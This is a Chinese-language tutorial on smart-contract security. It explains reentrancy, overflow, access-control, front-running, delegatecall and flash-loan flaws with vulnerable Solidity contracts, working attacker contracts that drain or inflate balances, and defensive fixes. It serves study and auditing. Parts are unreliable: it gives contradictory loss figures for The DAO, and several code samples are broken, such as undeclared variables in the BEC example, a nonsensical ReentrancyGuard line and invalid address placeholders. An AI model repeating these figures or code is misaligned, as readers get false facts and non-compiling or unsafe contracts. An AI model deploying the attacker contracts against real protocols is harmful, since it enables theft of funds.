本文为网络安全技术研究与学习用途，聚焦智能合约安全审计、漏洞防御与安全开发实践。所有漏洞代码与攻击分析仅用于授权测试、CTF 训练与安全研究，禁止用于任何未授权的真实网络攻击。涉及的真实案例仅供历史复盘，相关协议均已修复并公开披露。

区块链技术凭借去中心化、不可篡改、透明可验证的特性，正在重塑金融、供应链、身份认证等多个领域。然而，智能合约一旦部署便难以修改，任何微小的代码缺陷都可能导致数千万甚至数亿美元的资金损失。仅 2022 年，DeFi 领域因黑客攻击造成的损失就超过 38 亿美元。

本篇将系统梳理区块链与智能合约安全的全貌：从区块链底层共识机制、Solidity 语言基础，到重入攻击、整数溢出、访问控制、闪电贷等经典漏洞的原理与防御，再到 Slither、Mythril、Foundry、Certora 等审计与形式化验证工具链，最终给出完整的安全开发生命周期与漏洞响应方案。无论你是合约开发者、安全审计员还是 DeFi 研究者，都能从中建立体系化的安全思维。

一、区块链安全基础

理解智能合约安全，必须先理解其所依赖的区块链底层架构。区块链的安全模型由共识机制、密码学原语、账户模型与经济激励共同决定。

1.1 区块链类型分类

不同类型的区块链在准入门槛、信任假设与攻击面上存在显著差异。

类型	特征	准入机制	典型代表	主要安全风险
公链（Public Chain）	完全开放、去中心化	无许可	Ethereum、Bitcoin、BSC	女巫攻击、51%攻击、MEV
联盟链（Consortium Chain）	多机构共同治理	许可制	Hyperledger Fabric、FISCO BCOS	联谋攻击、节点串通
私有链（Private Chain）	单一组织控制	中心化许可	Quorum、Corda	内部作恶、单点故障
Layer1	主链、独立共识	依公链/联盟链	Ethereum、Solana	共识层攻击、状态膨胀
Layer2	扩容方案、依赖L1安全性	继承L1	Arbitrum、Optimism、zkSync	桥安全、欺诈证明、数据可用性
侧链（Sidechain）	独立共识、资产桥接	独立共识	Polygon PoS、Gnosis Chain	桥被黑、共识独立性

1.2 共识机制安全对比

共识机制决定了区块链如何就交易顺序与状态达成一致，是安全性的根基。

共识机制	核心原理	安全假设	主要攻击向量	吞吐量
PoW（工作量证明）	算力竞争出块	诚实算力>50%	51%攻击、自私挖矿	低
PoS（权益证明）	质押代币出块	诚实质押>2/3	Nothing-at-Stake、长程攻击	中高
DPoS（委托权益证明）	投票选出见证人	见证人多数诚实	见证人联谋、贿选	高
PBFT（实用拜占庭容错）	多轮投票	容错f<(n-1)/3	主节点作恶、网络分区	高
PoA（权威证明）	信任权威节点	权威节点可信	权威节点私钥泄露	高

【提示】 PoW 与 PoS 的安全阈值含义不同：PoW 的 51% 指算力占比，PoS 的 2/3 指质押占比。攻击成本计算方式完全不同，安全分析时切勿混淆。

1.3 密码学基础

区块链安全建立在一系列密码学原语之上。

ECDSA（椭圆曲线数字签名算法）
  - 曲线：secp256k1（y^2 = x^3 + 7 mod p）
  - 私钥：256位随机数
  - 公钥：私钥 * G（生成元）
  - 地址：Keccak256(公钥) 后取后20字节
  - 签名：r, s, v 三元组
  - 安全前提：私钥绝不泄露、随机数不可预测

Keccak-256
  - 以太坊哈希算法（与SHA-3最终标准不同）
  - 输出256位，用于地址生成、事件主题、存储槽计算
  - storage slot = keccak256(key . p) （mapping存储布局）

Merkle Tree（默克尔树）
  - 叶子节点为数据哈希，非叶节点为子节点哈希拼接
  - 支持O(log n)的包含性证明（Merkle Proof）
  - 应用于：轻客户端、空投验证、状态根

1.4 以太坊账户模型

以太坊采用账户模型，而非比特币的 UTXO 模型。账户分为两类。

属性	EOA（外部账户）	合约账户（Contract Account）
创建方式	生成私钥对	部署合约交易
私钥	有	无
代码	无	有（字节码）
发起交易	可直接发起	不能主动发起，需被调用
地址格式	0x开头20字节	0x开头20字节
存储	无独立存储	拥有独立存储空间

【提示】 合约账户没有私钥，因此无法主动发起交易。所有合约行为都由 EOA 触发的交易链条驱动。这是理解重入攻击、闪电贷原子性的关键。

1.5 Gas 机制与安全影响

Gas 是以太坊的执行计量单位，直接影响安全攻防。

// Gas 相关关键概念
// gasLimit：交易愿意支付的最大Gas量
// gasPrice：每个Gas的单价（EIP-1559后为baseFee + priorityFee）
// Gas不足会导致交易回滚（Out of Gas）

// 安全影响一：区块Gas限制导致拒绝服务
// 攻击者通过一个循环操作耗尽区块Gas，使后续交易无法打包

// 安全影响二：Gas优化与安全的权衡
// 过度优化可能移除必要的安全检查（如SafeMath）

1.6 区块链安全模型总览

安全层	关注点	典型威胁	防护手段
网络层	P2P传播、节点通信	日蚀攻击、BGP劫持	多对等连接、加密
共识层	区块确认、分叉处理	51%攻击、长程攻击	经济激励、最终性
合约层	智能合约逻辑	重入、溢出、访问控制	审计、形式化验证
应用层	DApp前端、钱包	钓鱼、恶意授权	多签、硬件钱包
跨链层	桥、资产转移	桥私钥泄露、签名伪造	多签+时间锁、ZK证明

二、Solidity 语言基础

Solidity 是以太坊上最主流的智能合约编程语言。理解其类型系统、可见性与状态可变性是审计的基础。

2.1 Solidity 数据类型

类型	关键字	说明	默认值	示例
无符号整数	uint / uint256	0 到 2^256-1	0	uint256 amount = 100;
有符号整数	int / int256	-2^255 到 2^255-1	0	int256 delta = -5;
地址	address	20字节账户地址	0x0	address user = msg.sender;
可支付地址	address payable	可接收ETH的地址	0x0	payable(msg.sender).transfer(1 ether);
布尔	bool	true/false	false	bool locked = true;
字符串	string	UTF-8动态字符串	“”	string name = "Audit";
字节数组	bytes	动态字节数组	0x	bytes data = abi.encode(x);
固定字节	bytes32	32字节固定长度	0x0…0	bytes32 hash = keccak256(data);
映射	mapping	键值对存储	-	mapping(address=>uint) balances;
数组	array	动态/固定数组	[]	uint[] items;
结构体	struct	自定义复合类型	-	struct User{address id; uint bal;}
枚举	enum	命名常量集合	第一个值	enum State{Idle,Busy}

2.2 函数可见性

可见性决定函数能被谁调用，是访问控制的第一道防线。

可见性	合约内部	继承合约	外部合约/EOA	说明
public	是	是	是	默认，最开放
external	否	否	是	仅外部可调用，内部需用this.
internal	是	是	否	默认（无修饰时state var）
private	是	否	否	最严格，但仍链上可读

【提示】 private 仅仅是访问控制层面的限制，并不代表数据隐私。所有链上存储都是公开的，任何人都能通过读取存储槽获取 private 变量值。涉及隐私的数据应链下处理或使用密码学方案。

2.3 状态可变性

可变性	含义	是否读状态	是否写状态	是否可接收ETH
view	读取但不修改状态	是	否	否
pure	既不读也不写状态	否	否	否
payable	可接收ETH	-	可能	是
（无）	默认可读写状态	是	是	否

2.4 特殊变量与函数

变量/函数	类型	含义	安全注意
msg.sender	address	直接调用者	权限检查应使用它
msg.value	uint	附带的ETH数量（wei）	仅payable生效
msg.data	bytes	完整调用数据	delegatecall场景关键
tx.origin	address	交易最初发起者（EOA）	切勿用于权限检查
block.timestamp	uint	区块时间戳（秒）	可被矿工操纵，勿用于随机数
block.number	uint	当前区块号	用于计算区块高度差
block.difficulty	uint	区块难度	随机数不可靠（已弃用）
blockhash(n)	bytes32	指定区块哈希	仅最近256个区块可用
gasleft()	uint	剩余Gas	用于Gas限制检查
this	address	当前合约地址	类型转换 payable(this)
abi.encodePacked	bytes	紧凑打包编码	哈希碰撞风险

2.5 继承与接口

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

// 抽象合约：可包含已实现和未实现函数
abstract contract Ownable {
    address public owner;
    constructor() { owner = msg.sender; }
    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }
}

// 多继承：Solidity支持线性化继承（C3线性化）
contract Token is Ownable, IERC20 {
    mapping(address => uint256) private _balances;

    function transfer(address to, uint256 amount) external override returns (bool) {
        require(_balances[msg.sender] >= amount, "Insufficient");
        _balances[msg.sender] -= amount;  // 0.8+自动检查下溢
        _balances[to] += amount;
        return true;
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }
}

2.6 事件与修饰器

contract EventAndModifier {
    // 事件：写入交易日志，便于链下监听，节省Gas
    event Transfer(address indexed from, address indexed to, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    address public owner;
    bool public paused;

    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not owner");
        _;  // 占位符，代表被修饰函数体
    }

    modifier whenNotPaused() {
        require(!paused, "Contract is paused");
        _;
    }

    function transfer(address to, uint256 amount) external whenNotPaused returns (bool) {
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function setPaused(bool state) external onlyOwner {
        paused = state;
    }
}

【提示】 indexed 参数最多3个，会被写入日志的 topics 便于链下按值过滤查询。非 indexed 参数写入 data 字段。合理使用 indexed 能极大降低链下索引成本。

三、智能合约漏洞大全

智能合约漏洞是安全审计的核心。这一节系统化梳理漏洞分类、国际标准对照与典型模式。

3.1 漏洞分类总表

漏洞类型	根因	严重度	典型损失案例	修复难度
重入攻击（Reentrancy）	外部调用在状态更新前执行	严重	The DAO（6000万ETH）	中
整数溢出（Overflow/Underflow）	算术运算未检查边界	严重	BEC代币归零	低（0.8+）
访问控制缺陷	权限检查缺失或错误	严重	Parity Multisig（15万ETH冻结）	中
竞态条件（Race Condition）	依赖交易顺序	高	DEX Front-running	高
Front-running/MEV	交易可被抢跑	高	三明治攻击	高
区块Gas限制（DoS）	循环操作耗尽Gas	高	GovernMental	中
时间戳依赖	矿工可操纵时间戳	中	随机数预测	中
随机数不安全	链上数据可预测	高	SmartBilllottery	中
Delegatecall滥用	上下文/存储共享	严重	Parity Wallet二次被黑	高
自毁（selfdestruct）	强制发送ETH	中	拒绝服务、绕过接收检查	中
未检查返回值	call返回值被忽略	高	King of the Ether	低
预言机操纵	价格源可被影响	严重	bZx、Euler	高

3.2 SWC Registry 对照表

SWC（Smart Contract Weakness Classification）是智能合约漏洞的标准化分类，类似 Web 的 OWASP。

SWC编号	名称	对应OWASP
SWC-100	Function Default Visibility	A6
SWC-101	Integer Overflow/Underflow	A5
SWC-105	Unprotected Ether Withdrawal	A1
SWC-106	Unprotected SELFDESTRUCT	A1
SWC-107	Reentrancy	A2
SWC-108	State Variable Default Visibility	A6
SWC-110	Assert Violation	A7
SWC-112	Delegatecall to Untrusted Callee	A3
SWC-113	DoS with Block Gas Limit	A5
SWC-114	Transaction Order Dependence	A8
SWC-115	Authorization through tx.origin	A1
SWC-116	Block Values as Proxy for Time	A7
SWC-118	Constructor Name Error	A6
SWC-119	Shadowing/Name Collision	A6
SWC-120	Weak Sources of Randomness	A7
SWC-131	Presence of Floating Pragma	A7
SWC-135	Code with No Effects	A7

3.3 OWASP Smart Contract Top 10

编号	类别	核心风险
SC01	Reentrancy	状态更新前外部调用
SC02	Integer Overflow/Underflow	算术边界未检查
SC03	Timestamp Dependence	依赖可操纵的区块时间
SC04	Access Control	权限检查缺失
SC05	Front-running	交易顺序依赖
SC06	Denial of Service	拒绝服务
SC07	Bad Randomness	链上随机数
SC08	Logic Errors	业务逻辑缺陷
SC09	Insecure Interface	外部接口未校验
SC10	Outdated Compiler	编译器版本漏洞

3.4 完整漏洞模式集

// 漏洞模式一：默认可见性（SWC-100）
contract DefaultVisible {
    function withdraw() {  // 缺少可见性修饰符，默认public，任何人可调用
        payable(msg.sender).transfer(address(this).balance);
    }
}

// 漏洞模式二：未检查返回值（SWC-104）
contract UncheckedCall {
    function sendEther(address to) public {
        to.call{value: 1 ether}("");  // 未检查返回值，失败静默
    }
}

// 漏洞模式三：时间戳依赖（SWC-116）
contract TimeStampLottery {
    function win() public view returns (bool) {
        // block.timestamp可被矿工在几秒内微调
        return block.timestamp % 2 == 0;
    }
}

// 漏洞模式四：tx.origin授权（SWC-115）
contract TxOriginAuth {
    address owner;
    function transfer(address to, uint amount) public {
        // 攻击者诱导owner调用恶意合约即可绕过
        require(tx.origin == owner, "Not owner");
        payable(to).transfer(amount);
    }
}

四、重入攻击实战

重入攻击是智能合约史上最经典的漏洞，直接导致了以太坊硬分叉（ETH/ETC）。

4.1 重入攻击原理

重入的核心在于：合约在向外部地址发送 ETH 时，控制权会转移给对方。若对方是恶意合约，其 fallback/receive 函数会被触发，可在原函数状态更新完成前再次回调原合约，形成递归调用。

// 三种转账方式对比
contract TransferMethods {
    // 1. transfer：转发2300 Gas，足以触发事件但不足以重入（已不推荐）
    function viaTransfer(address to) public {
        payable(to).transfer(1 ether);
    }
    // 2. send：转发2300 Gas，但失败返回false而非revert（需检查）
    function viaSend(address to) public returns (bool) {
        return payable(to).send(1 ether);
    }
    // 3. call：转发全部剩余Gas，最灵活但最危险（重入风险最高）
    function viaCall(address to) public {
        (bool ok, ) = payable(to).call{value: 1 ether}("");
        require(ok, "Call failed");
    }
}

4.2 漏洞合约与攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

// ===== 漏洞合约 =====
contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    // 漏洞：先转账再更新余额，转账触发对方fallback时可重入
    function withdraw() external {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "No balance");
        // 1. 先转账（漏洞点）
        (bool ok, ) = msg.sender.call{value: bal}("");
        require(ok, "Transfer failed");
        // 2. 后更新（此刻尚未执行，攻击者已重入再次取款）
        balances[msg.sender] = 0;
    }
}

// ===== 攻击合约 =====
contract Attacker {
    VulnerableVault public vault;
    address public owner;

    constructor(address _vault) {
        vault = VulnerableVault(payable(_vault));
        owner = msg.sender;
    }

    // 触发攻击
    function attack() external payable {
        vault.deposit{value: 1 ether}();
        vault.withdraw();
    }

    // 每次收到ETH时重入
    receive() external payable {
        if (address(vault).balance >= 1 ether) {
            vault.withdraw();  // 递归调用，余额尚未清零
        }
    }

    function drain() external {
        payable(owner).transfer(address(this).balance);
    }
}

4.3 经典案例

案例	时间	损失	根因
The DAO	2016.06	360万ETH	splitDAO函数先转账后扣余额
Parity Wallet	2017.07	15万ETH	initWallet函数无权限检查
Cream Finance	2021.10	1.3亿美元	价格预言机操纵+重入
Fei Protocol	2022.01	8000万美元	ERC4626 vault 重入

4.4 跨合约重入与跨函数重入

// 跨函数重入：函数A更新状态，函数B读取，攻击者在A的外部调用中调用B
contract CrossFunctionReentrancy {
    mapping(address => uint) public balance;
    bool internal locked;

    function deposit() external payable { balance[msg.sender] += msg.value; }

    function withdraw() external {
        uint amt = balance[msg.sender];
        require(amt > 0);
        (bool ok,) = msg.sender.call{value: amt}("");
        require(ok);
        balance[msg.sender] = 0;  // 此时未更新
    }

    // 攻击者在withdraw的call中调用此处，读取尚未清零的余额
    function getBalance(address a) external view returns (uint) {
        return balance[a];
    }
}

// ERC777 hooks重入：tokensReceived回调可重入
// ERC777扩展了ERC20，转账会触发接收方钩子，构成重入入口

4.5 重入攻击防御方案

// 防御一：Checks-Effects-Interactions 模式
contract SafeVault {
    mapping(address => uint256) public balances;
    function withdraw() external {
        uint256 bal = balances[msg.sender];      // Checks 检查
        require(bal > 0, "No balance");
        balances[msg.sender] = 0;                // Effects 先更新状态
        (bool ok,) = msg.sender.call{value: bal}("");
        require(ok, "Transfer failed");         // Interactions 后交互
    }
}

// 防御二：ReentrancyGuard 互斥锁（OpenZeppelin）
contract GuardedVault {
    using ReentrancyGuard for *;
    mapping(address => uint256) public balances;
    bool private _locked;

    modifier nonReentrant() {
        require(!_locked, "Reentrant");
        _locked = true;
        _;
        _locked = false;
    }

    function withdraw() external nonReentrant {
        uint256 bal = balances[msg.sender];
        require(bal > 0);
        balances[msg.sender] = 0;
        (bool ok,) = msg.sender.call{value: bal}("");
        require(ok);
    }
}

// 防御三：Pull over Push（拉取优于推送）
// 不主动给每个人发款，让接收方自己来领取，避免单个失败影响全部

【提示】 Checks-Effects-Interactions 是最根本的防御，即便不用锁也应遵循。nonReentrant 锁作为额外保险。两者结合是当前业界最佳实践。注意锁的状态变量命名要避免与库冲突。

五、整数溢出与下溢

5.1 整数溢出原理

// uint8 范围：0 ~ 255
// 255 + 1 = 0（溢出回绕）
// 0 - 1 = 255（下溢回绕）

// uint256 范围：0 ~ 2^256-1
// 2^256-1 + 1 = 0（溢出）
// 0 - 1 = 2^256-1（下溢，等于凭空铸造巨量代币）

5.2 经典案例：BeautyChain（BEC）

2018年4月，BEC 代币的 batchTransfer 函数中，_value * cnt 未经 SafeMath 检查，攻击者传入精心构造的 cnt 使乘法结果溢出为极小值，从而仅扣除极少代币却向两个地址转出 57,896,044,618,658,097,711,785,492,604,343,636,543,895,930,590,872,320,000,000,000,000,000,000 枚 BEC，导致代币价值归零。

// BEC 漏洞原型（Solidity 0.8前）
contract BECVulnerable {
    mapping(address => uint256) public balances;

    function batchTransfer(address[] memory _receivers, uint256 _value) public returns (bool) {
        uint256 cnt = _receivers.length;
        // 漏洞：未使用SafeMath，cnt与_value构造使乘积溢出
        uint256 amount = cnt * _value;
        require(cnt > 0 && cnt <= 20);
        require(_balances[msg.sender] >= amount);  // 溢出后amount极小，通过检查
        for (uint256 i = 0; i < cnt; i++) {
            _balances[_receivers[i]] += _value;     // 实际转出巨额
        }
        _balances[msg.sender] -= amount;
        return true;
    }
}

5.3 完整溢出攻击代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;  // 0.8前无自动溢出检查

contract TokenOverflow {
    mapping(address => uint256) public balanceOf;

    function transfer(address to, uint256 value) public {
        // 下溢漏洞：若balanceOf[msg.sender] < value，减法下溢为巨大数
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
    }
}

contract OverflowAttacker {
    TokenOverflow token;
    constructor(address t) { token = TokenOverflow(t); }
    function pwn() public {
        // 攻击者余额为0，传一个大于0的value
        // 0 - value 下溢为 2^256 - value，凭空获得巨额代币
        token.transfer(msg.sender, 1);
    }
}

5.4 SafeMath 与 0.8+ 自动检查

// 0.8.0 前必须使用SafeMath
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
}

// 0.8.0+ 自动溢出检查，溢出直接revert
// 如需回绕行为，使用 unchecked {} 块
pragma solidity ^0.8.20;
contract Modern {
    function safeSub(uint256 a, uint256 b) external pure returns (uint256) {
        return a - b;  // b>a 自动revert
    }
    function wrapSub(uint256 a, uint256 b) external pure returns (uint256) {
        unchecked { return a - b; }  // 显式声明回绕
    }
}

【提示】 升级到 0.8.0+ 后并非高枕无忧。unchecked 块、类型转换截断（uint256 转 uint128）、abi.encodePacked 仍可能引入数值问题。审计时仍需逐处核对算术运算。

六、访问控制漏洞

访问控制决定了谁能调用敏感函数。这类漏洞往往造成最直接的资金损失。

6.1 访问控制缺陷分类

缺陷类型	根因	典型表现
缺失权限检查	敏感函数无修饰器	withdraw任何人可调
错误修饰器	修饰器逻辑写反	onlyOwner实际放行
tx.origin误用	用交易源头做权限	中间合约绕过
Constructor误写	构造函数名拼写错误	普通函数被任何人调用
默认可见性	缺public/private	函数默认public
Delegatecall存储碰撞	代理与逻辑存储布局冲突	owner被覆盖

6.2 tx.origin vs msg.sender

contract AuthAnalysis {
    // 危险：tx.origin是交易最初发起的EOA
    // 攻击者部署Malicious，诱导owner调用Malicious.foo()
    // 此时tx.origin仍是owner，权限被绕过
    function dangerousWithdraw() public {
        require(tx.origin == owner, "not owner");
        payable(owner).transfer(address(this).balance);
    }

    // 安全：msg.sender是直接调用者
    function safeWithdraw() public {
        require(msg.sender == owner, "not owner");
        payable(owner).transfer(address(this).balance);
    }
}

6.3 权限提升漏洞代码

// 漏洞：Constructor拼写错误（0.4前无constructor关键字）
contract Wallet {
    address owner;
    function Wallet() {  // 拼写正确才是构造函数，这里写成普通函数名
        // 实际上这是普通public函数，任何人可调用设置自己为owner
        owner = msg.sender;
    }
    function withdraw() public {
        require(msg.sender == owner);
        payable(owner).transfer(address(this).balance);
    }
}

// 安全写法（0.5+）
contract SafeWallet {
    address public owner;
    constructor() { owner = msg.sender; }  // constructor关键字
    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }
    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }
}

6.4 经典案例：Parity Multisig Wallet

2017年7月，Parity 多签钱包的 initWallet 函数缺少权限检查，攻击者调用它将合约 owner 设为自己，随后提取了 15 万 ETH。同年11月，攻击者误触发 kill 函数，导致所有 Parity 多签钱包的 walletLibrary 自毁，约 51 万 ETH 被永久冻结。

// Parity漏洞原型
contract WalletLibrary {
    address public owner;
    function initWallet(address _owner) public {
        // 漏洞：无权限检查，任何人可调用设置owner
        owner = _owner;
    }
    function kill() public {
        require(msg.sender == owner);
        selfdestruct(payable(owner));
    }
}

七、竞态条件与 Front-running

7.1 竞态条件原理

区块链交易在被矿工打包前会进入内存池（mempool）公开可见。矿工（或搜索者）可选择性地对交易排序、插入、删除，从而操纵合约执行结果。

交易顺序依赖（TOD）：
  用户提交交易A：购买代币
  攻击者观察到后提交交易B（更高Gas Price）：抢先把价格拉高
  矿工按Gas排序：B先于A执行
  → 攻击者低买高卖，用户高价接盘

7.2 Front-running 与 MEV

MEV（Maximal Extractable Value）指矿工/验证者通过重新排序、插入、审查交易可提取的最大价值。

攻击类型	原理	受害方
抢跑（Front-running）	看到有利交易，高价插队先行	原交易发起者
尾随（Back-running）	紧跟目标交易套利	通常无害
三明治攻击（Sandwich）	前后夹击一笔大额swap	被夹击的swap用户
套利（Arbitrage）	不同DEX价差套利	通常无害
清算（Liquidation）	抢先清算健康度不足仓位	被清算者

// 三明治攻击模拟
// 1. 受害者提交大额swap：用1000 USDC买TOKEN
// 2. 攻击者抢先买入TOKEN，推高价格
// 3. 受害者高价买入
// 4. 攻击者卖出TOKEN，获利
// 结果：受害者承担滑点损失

7.3 Flashbots 与 MEV-Boost

Flashbots 提供私有交易池与区块构建机制，让搜索者通过竞价打包交易包，避免公开内存池被抢跑。MEV-Boost 是以太坊 PoS 下的 PBS（提议者-构建者分离）实现。

# Flashbots 相关工具
# 1. Flashbots Protect RPC：用户交易走私有池，避免被三明治
# 2. MEV-Boost：验证者接入区块构建者市场
# 3. searcher-bundle：搜索者构建原子交易包

# 启动 MEV-Boost（验证者侧）
mev-boost -mainnet -relay-check
# 使用 Flashbots Protect 作为钱包RPC
# https://rpc.flashbots.net

7.4 竞态防御方案

方案	原理	适用场景
Commit-Reveal	先提交哈希，后揭示值	拍卖、随机数
批量拍卖	收集所有出价后统一结算	公平发售
时间锁（Time Lock）	操作需延迟执行	大额转账、治理
滑点保护	设最大可接受损失	DEX swap
预市价单	指定价格成交	限价交易

// Commit-Reveal 方案
contract CommitReveal {
    struct Commit {
        bytes32 hash;
        uint256 revealDeadline;
        bool revealed;
    }
    mapping(address => Commit) public commits;

    function commit(bytes32 hash) external {
        commits[msg.sender] = Commit(hash, block.timestamp + 1 days, false);
    }

    function reveal(uint256 value, bytes32 salt) external {
        Commit storage c = commits[msg.sender];
        require(block.timestamp <= c.revealDeadline, "Too late");
        require(keccak256(abi.encodePacked(value, salt)) == c.hash, "Mismatch");
        c.revealed = true;
        // 使用value执行逻辑
    }
}

八、Delegatecall 与存储碰撞

8.1 Delegatecall 原理

delegatecall 在保持调用者上下文（msg.sender、msg.value、存储）的前提下执行目标合约代码，是可升级合约的基础，也是危险的源头。

contract DelegateDemo {
    uint256 public num;
    address public sender;

    function delegatedCall(address logic, bytes calldata data) external {
        // delegatecall：在当前合约存储上下文执行logic代码
        (bool ok, ) = logic.delegatecall(data);
        require(ok);
    }
    function normalCall(address logic, bytes calldata data) external {
        // call：在logic的存储上下文执行，不改变本合约存储
        (bool ok, ) = logic.call(data);
        require(ok);
    }
}

8.2 存储布局碰撞

// 代理合约
contract Proxy {
    // slot0
    address public implementation;
    // slot1
    address public admin;

    function upgrade(address newImpl) external {
        require(msg.sender == admin);
        implementation = newImpl;
    }
    fallback() external payable {
        (bool ok,) = implementation.delegatecall(msg.data);
        require(ok);
    }
}

// 逻辑合约V1
contract LogicV1 {
    // 若存储布局与Proxy不一致，delegatecall会写入错误槽位
    uint256 public value;  // 这里占slot0，与Proxy的implementation冲突
    function setValue(uint256 v) external {
        value = v;  // 实际写入Proxy的slot0，覆盖implementation！
    }
}

8.3 代理模式安全

代理模式	实现地址存储	特点	风险
EIP-1967 Transparent	固定slot	管理员与用户调用分流	函数选择器碰撞
UUPS	逻辑合约内	升级逻辑在逻辑合约	逻辑合约自毁则永久锁定
Beacon	Beacon合约存储	多代理共享逻辑	Beacon单点
Diamond (EIP-2535)	多facet路由	支持模块化升级	复杂度高、存储管理难

【提示】 UUPS 模式下升级函数位于逻辑合约，若逻辑合约未正确实现升级逻辑或被自毁，代理将永久无法升级。OpenZeppelin 的 UUPSUpgradeable 已标准化该逻辑，务必使用官方实现而非自行编写。

九、Flash Loan 闪电贷攻击

9.1 Flash Loan 原理

闪电贷允许在无需抵押的情况下借入任意金额，前提是借款与还款必须在同一笔交易（同一区块）内完成，否则整个交易回滚。这种原子性是 DeFi 独有的机制。

// Flash Loan 标准流程
// 1. 借款人调用闪电贷池借出资金
// 2. 池调用借款人的回调函数
// 3. 借款人在回调中执行套利/攻击
// 4. 借款人归还本金+手续费
// 5. 池校验归还金额，不足则revert整笔交易

interface IFlashPool {
    function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external;
}

9.2 闪电贷攻击分类

攻击类型	原理	经典案例
价格操纵	借巨资砸盘/拉盘操纵DEX瞬时价格	bZx（2020）
治理攻击	借代币临时获得投票权通过提案	Beanstalk（2022）
套利组合	跨协议利差套利	各类套利机器人
重入组合	闪电贷+重入叠加	Euler（2023）

9.3 闪电贷攻击代码框架

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IFlashLoanProvider {
    function flashLoan(address token, uint256 amount, bytes calldata data) external;
}

interface IDEX {
    function getPrice(address token) external view returns (uint256);
    function swap(address in, address out, uint256 amount) external returns (uint256);
}

contract FlashAttack {
    IFlashLoanProvider public provider;
    IDEX public dexA;
    IDEX public dexB;

    constructor(address p, address a, address b) {
        provider = IFlashLoanProvider(p);
        dexA = IDEX(a);
        dexB = IDEX(b);
    }

    function attack(uint256 loanAmount) external {
        provider.flashLoan(
            address(0xTOKEN),  // 借款代币
            loanAmount,
            abi.encode(loanAmount)
        );
    }

    // 闪电贷回调
    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bool) {
        uint256 loanAmount = abi.decode(data, (uint256));

        // 1. 在dexA买入，拉高价格
        uint256 bought = dexA.swap(token, address(0xOTHER), loanAmount);
        // 2. 在dexB卖出，利用价差
        uint256 sold = dexB.swap(address(0xOTHER), token, bought);
        // 3. 归还本金+手续费，保留利润
        require(sold >= amount + fee, "No profit");
        IERC20(token).transfer(msg.sender, amount + fee);
        return true;
    }
}

9.4 价格预言机操纵与 TWAP

// 漏洞：使用DEX瞬时价格作为预言机
contract OracleVulnerable {
    IDEX public dex;
    function getPrice(address token) public view returns (uint256) {
        return dex.getPrice(token);  // 可被闪电贷瞬间操纵
    }
}

// 安全：使用时间加权平均价格（TWAP）
interface IUniswapV3Pool {
    function observe(uint32[] memory secondsAgos) external view
        returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulatives);
}

contract TWAPOracle {
    IUniswapV3Pool public pool;
    function getTWAP(uint32 window) external view returns (int24 tick) {
        uint32[] memory secs = new uint32[](2);
        secs[0] = window;
        secs[1] = 0;
        (int56[] memory cum, ) = pool.observe(secs);
        tick = int24((cum[1] - cum[0]) / int256(uint256(window)));
    }
}

预言机类型	抗操纵性	延迟	适用
瞬时价格（Spot）	弱	无	不推荐
Chainlink 聚合	强	中	主流资产
Uniswap TWAP	中	高（窗口期）	长尾资产
自定义多源	中	中	自定义需求

【提示】 任何使用链上 DEX 瞬时价格的协议都存在闪电贷操纵风险。必须使用 TWAP、Chainlink 或多源聚合预言机，并对价格波动设合理的 circuit breaker（熔断）。

十、DeFi 安全漏洞

10.1 DeFi 协议分类

类别	典型协议	主要风险
DEX（去中心化交易所）	Uniswap、Curve、SushiSwap	滑点、无常损失、预言机
借贷协议	Aave、Compound、Cream	清算、利率操纵、预言机
收益聚合	Yearn、Harvest、Beefy	策略合约、增发逻辑
稳定币	DAI、UST、FRAX	锚定脱钩、抵押率
衍生品	dYdX、GMX、Perp	资金费率、清算
保险	Nexus Mutual、Cover	理赔逻辑
NFT 市场	OpenSea、LooksRare	元数据、版税

10.2 AMM 安全

// Uniswap V2 恒定乘积公式：x * y = k
// 滑点：交易额越大，价格影响越大
// 无常损失：提供流动性后，代币价格变动导致LP价值低于持币

// 滑点保护示例
function swapWithSlippage(
    address in,
    address out,
    uint256 amountIn,
    uint256 minOut  // 最低期望收到数量，防止滑点被夹击
) external {
    uint256 out = router.swap(in, out, amountIn);
    require(out >= minOut, "Slippage exceeded");
}

10.3 借贷协议安全

风险点	说明	防护
健康度计算	借款人抵押率不足时清算	实时更新、预留清算缓冲
利率模型	利用率突增导致利率飙升	拐点利率曲线
预言机喂价	抵押物价格被操纵	TWAP/Chainlink
清算激励	清算人抢跑	清算奖励、闪电贷清算

10.4 治理攻击

治理攻击流程：
  1. 攻击者通过闪电贷借入大量治理代币
  2. 临时获得投票权
  3. 发起并通过对己有利的提案（如转移国库资金）
  4. 归还闪电贷
  → Beanstalk 案例损失1.82亿美元

防御方案包括：治理投票延迟（Timelock）、闪电贷代币不计票、委托加权衰减等。

十一、NFT 与 Token 安全

11.1 Token 标准安全分析

标准	用途	主要风险点
ERC20	同质化代币	超大Approval、假代币、转账未触发事件
ERC721	非同质化代币	元数据可变、transferFrom权限、幽灵流动性
ERC1155	多代币标准	批量操作失败处理、URI统一
